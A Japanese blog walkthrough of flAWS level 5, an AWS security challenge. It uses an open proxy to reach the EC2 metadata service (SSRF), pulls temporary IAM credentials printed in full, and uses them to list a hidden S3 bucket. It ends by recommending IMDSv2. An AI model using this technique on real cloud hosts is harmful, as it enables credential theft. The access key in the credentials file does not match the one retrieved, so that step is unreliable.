🐏

flAWS、レベル5!

2023/04/15に公開

ようやくレベル5まで来ました。
全クリまであと少し…!

レベル5の設問は次の通りです。

This EC2 has a simple HTTP only proxy on it. Here are some examples of it's usage:
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/
See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it.

目標を確認する

flawsサイトのプロキシを利用して、レベル6バケットのコンテンツを一覧してみるのが最初の目標みたいです。
ちなみに設問の中にあるレベル6バケットにアクセスするとこうなります。
アクセス拒否

ヒント1で示されているドキュメントをはじめ、いくつか公式ドキュメントを参照してみます。
https://www.rfc-editor.org/rfc/rfc3927
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html
https://docs.aws.amazon.com/ja_jp/cli/latest/userguide/cli-configure-proxy.html

メタデータにアクセスする

これらのドキュメントによると、ローカルからhttp://169.254.169.254/latest/meta-data/のようにしてメタデータにアクセスできると書いてあるので、自分のEC2インスタンス上でその通りにやってみます。

[ec2-user@ ~]$ curl http://169.254.169.254/latest/meta-data/
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/

確かにデータにアクセスできました。
これは自分のインスタンスのメタデータなので、設問に記載されているflawsのプロキシのメタデータを見るために、次のようにします。

[ec2-user@ ~]$curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/

ディレクトリ階層を探索することで、クレデンシャル情報を見つけることができます。ここにはキーペアが含まれています。

[ec2-user@ ~]$curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
{
  "Code" : "Success",
  "LastUpdated" : "2023-04-11T01:12:15Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA6GG7PSQG2A4HBA4E",
  "SecretAccessKey" : "yDAxDolX9za0Mu5Ojw7StTbAJmM5ADW4zTK2aIns",
  "Token" : "IQoJb3JpZ2luX2VjELH//////////wEaCXVzLXdlc3QtMiJHMEUCIQCE+I4tqD4KyBb56jksX/4u5FnB48AXpb+tkGtNcs8SYAIgBP1NQOJqbWZnTseEEiBWmh7742XdtFn4So/mVvqb9g0quwUImv//////////ARADGgw5NzU0MjYyNjIwMjkiDB8lY9AbdxcJHuQgPSqPBVoFIpCXqfzvsmLr1njV8KK87ZuwgD3gnvnl62DWULDQ1ujQXFsq0DQv6g5Q1Db5xydF8BXDRU/ji8fhr6I+2tXytckMOjj1haqMOBhX0L58INy0LpB+o56oynAhW75rOMVX1PxkQcvvXA5AGPZuTESvD6ZHCtcILMT1cj6zrZrexmsh4uPZg59Moe0t31mk0+wq4bJWr/Bbi/k3iHRL7yHiAaioKq32kKBR29B19ep8FRCaszQyvuOo4qK75AUE7B+Gi7AhsnsLuaWm8Nsf9z8e7Rzu5Xd7GivNY6geAN+k0M1SypOH21zS7L0Fzch/B3NiMW5wjpo8eDRj0NEqlxVD8lWlxK5okOdI45VosXZprYB71eP+/QEdqyObWUk4fQSgMLXIvOhw/iqo1Xbz474uur65NPH1TzRwrwcHbrZijqXNOD5UNmkHVlnEtTE5YD69xHlo5NKd3eqoGv4Ro82PUcdv5LGLNceKeP/ZksfMInbqBicUGHvI7MCWUZspkDYdLgf1qS37DFCi7rDXtsW8cxusSZZpTpYcuR407U1LWj+Z0B0VusmA+0zjiJUqHUqfb38XVhADfCwq6fzb9sF2tP3sOjSq3TuOCcXoBZ4CdwJ/+CuKwMGEIm8b8ujf/XD9d+1vET3lnFHRRhSo02tRr2gmxFjdFhXnFQWJMmn/5PJmmQs/LAZ1huLzaKaQIKifS/fnj5ss9+8RGyeQOkRSZ39fwuzgZuEu3L4ST07pgh4vKbh2GX4mfD5MCZKjbDhKaX/myXfaxbg4LirgktA2eU7+JeIRA0YwhmTWdeD8ut31FimCpFe61Wu3dsfmpoKAwiD8E01kpwSrkfrxMFzl8BBHP/2PUd/BNa4+6N0wzOfSoQY6sQH0yvaqnQY9Fc8wLSL/9LumJI3W0m5fms3I/ab5F24PI3mlygqfPN/wC93N8/C1lxOyvW5Rx5wxyxqsygnuRuW9ThU05Taj+GIf+sQMU7hvPC9/bp1XU1iFQny2tt5kV1gMcAKUwFc1RdfGVcOStrGSVS2R1ZnWoiWrGCMlpjcDp2VaAanD/cO+iJPpqt/a3snovdZFg/w5Nlny0U3oBZg93yZVc4eUDEjWFxkWZ3O2a+k=",
  "Expiration" : "2023-04-11T07:30:45Z"

プロファイルを作成する

flawsのキーペアが見つかったので、これでAWSプロファイルを作成します。

% aws configure --profile flaws2
AWS Access Key ID [None]: ASIA6GG7PSQG2A4HBA4E
AWS Secret Access Key [None]: yDAxDolX9za0Mu5Ojw7StTbAJmM5ADW4zTK2aIns
Default region name [None]: us-west-2
Default output format [None]: json

この情報にはセッショントークンが必要なので、プロファイルを編集し、aws_session_tokenを追加します。

% sudo vi .aws/credentials
[flaws2]
aws_access_key_id = ASIA4GBBUHFEVOWAIAMA
aws_secret_access_key = MQo+vKeC908B+90sSlaCDuSjsmBa/elxrDGBNpn2
aws_session_token = IQoJb3JpZ2luX2VjELH//////////wEaCXVzLXdlc3QtMiJHMEUCIQCE+I4tqD4KyBb56jksX/4u5FnB48AXpb+tkGtNcs8SYAIgBP1NQOJqbWZnTseEEiBWmh7742XdtFn4So/mVvqb9g0quwUImv//////////ARADGgw5NzU0MjYyNjIwMjkiDB8lY9AbdxcJHuQgPSqPBVoFIpCXqfzvsmLr1njV8KK87ZuwgD3gnvnl62DWULDQ1ujQXFsq0DQv6g5Q1Db5xydF8BXDRU/ji8fhr6I+2tXytckMOjj1haqMOBhX0L58INy0LpB+o56oynAhW75rOMVX1PxkQcvvXA5AGPZuTESvD6ZHCtcILMT1cj6zrZrexmsh4uPZg59Moe0t31mk0+wq4bJWr/Bbi/k3iHRL7yHiAaioKq32kKBR29B19ep8FRCaszQyvuOo4qK75AUE7B+Gi7AhsnsLuaWm8Nsf9z8e7Rzu5Xd7GivNY6geAN+k0M1SypOH21zS7L0Fzch/B3NiMW5wjpo8eDRj0NEqlxVD8lWlxK5okOdI45VosXZprYB71eP+/QEdqyObWUk4fQSgMLXIvOhw/iqo1Xbz474uur65NPH1TzRwrwcHbrZijqXNOD5UNmkHVlnEtTE5YD69xHlo5NKd3eqoGv4Ro82PUcdv5LGLNceKeP/ZksfMInbqBicUGHvI7MCWUZspkDYdLgf1qS37DFCi7rDXtsW8cxusSZZpTpYcuR407U1LWj+Z0B0VusmA+0zjiJUqHUqfb38XVhADfCwq6fzb9sF2tP3sOjSq3TuOCcXoBZ4CdwJ/+CuKwMGEIm8b8ujf/XD9d+1vET3lnFHRRhSo02tRr2gmxFjdFhXnFQWJMmn/5PJmmQs/LAZ1huLzaKaQIKifS/fnj5ss9+8RGyeQOkRSZ39fwuzgZuEu3L4ST07pgh4vKbh2GX4mfD5MCZKjbDhKaX/myXfaxbg4LirgktA2eU7+JeIRA0YwhmTWdeD8ut31FimCpFe61Wu3dsfmpoKAwiD8E01kpwSrkfrxMFzl8BBHP/2PUd/BNa4+6N0wzOfSoQY6sQH0yvaqnQY9Fc8wLSL/9LumJI3W0m5fms3I/ab5F24PI3mlygqfPN/wC93N8/C1lxOyvW5Rx5wxyxqsygnuRuW9ThU05Taj+GIf+sQMU7hvPC9/bp1XU1iFQny2tt5kV1gMcAKUwFc1RdfGVcOStrGSVS2R1ZnWoiWrGCMlpjcDp2VaAanD/cO+iJPpqt/a3snovdZFg/w5Nlny0U3oBZg93yZVc4eUDEjWFxkWZ3O2a+k=

見つけたキーペアで作成したこのプロファイルを使えば、レベル6のバケットの中身を見ることができそうです。
ではその通りにやってみます。

% aws --profile flaws2 s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
                           PRE ddcc78ff/
2017-02-27 11:11:07        871 index.html

見れました。
このうちindex.htmlは、冒頭の「アクセス拒否」と書かれたページなので、もう一方の怪しいddcc78ff/にアクセスしてみます。
http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/としてブラウザでアクセスすると、レベル6に到達できました。
レベル6

問題を回避する

169.254.169.254は、AWS、Azure、Google、DigitalOceanなどクラウドリソースが、自分自身に関するメタデータを調べるために共通して使用するIPアドレスらしいです。(そうなんだ)
AWSの場合「インスタンスメタデータサービス」のIPアドレスが169.254.169.254であるということです。
今回やったように、EC2からそのアドレスにHTTPリクエストを行うことができれば、部外者であってもメタデータを表示することができてしまいます。

現在AWSでは、セッショントークンを使用した「インスタンスメタデータサービスバージョン2 (IMDSv2)」を使用でき、これを適用することで今回の問題を回避することができます。

Discussion